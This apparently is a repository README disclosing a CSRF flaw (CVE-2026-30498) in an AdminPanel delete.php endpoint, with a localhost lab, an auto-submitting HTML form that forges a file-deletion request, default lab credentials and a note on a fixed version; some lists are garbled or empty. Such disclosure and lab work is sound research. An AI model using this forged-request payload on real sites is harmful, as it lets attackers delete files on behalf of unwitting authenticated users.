mehdi-ben-hamou/cve-2026-30498Educational CSRF vulnerability demonstration with a controlled lab environment, including a proof-of-concept exploit and a fixed version with proper CSRF protections.
CVE ID: CVE-2026-30498 (Reserved by MITRE)
Discoverer: Mehdi Ben Hamou
A Cross-Site Request Forgery (CSRF) vulnerability exists in the delete.php endpoint of AdminPanel 4.0.
This vulnerability allows an attacker to trigger sensitive actions (file deletion) on behalf of an authenticated user without their consent.
The vulnerability is caused by the absence of CSRF protections:
The vulnerable endpoint processes requests directly based on user session without validating the source of the request.
Successful exploitation leads to:
verifyPanel.phpAn attacker hosts a malicious web page that sends a forged request:
http://localhost:8080/delete.php?file=verifyPanel.php
When a victim (authenticated user) visits this page, the browser automatically includes session cookies, and the request is executed.
<form id="csrfForm" action="http://localhost:8080/delete.php" method="GET">
<input type="hidden" name="file" value="verifyPanel.php">
</form>
<script>
document.getElementById("csrfForm").submit();
</script>
This request is automatically sent with the victim's session cookie.
php -S localhost:8080
http://localhost:8080
admin / admin123
http://localhost:8081/evil.html
/panel/dashboard.php
This repository includes a controlled lab environment to reproduce the vulnerability safely.
Important: This lab is a simulation and does not represent the exact original AdminPanel codebase.
To reset the environment:
/reset.php
A secure version is implemented in:
delete_fixed.php
Protections added:
victim/
├── index.php
├── delete.php
├── delete_fixed.php
├── reset.php
└── panel/
└── dashboard.php
attacker/
└── evil.html
This project is intended for educational and research purposes only.
Do not use this vulnerability on systems without proper authorization.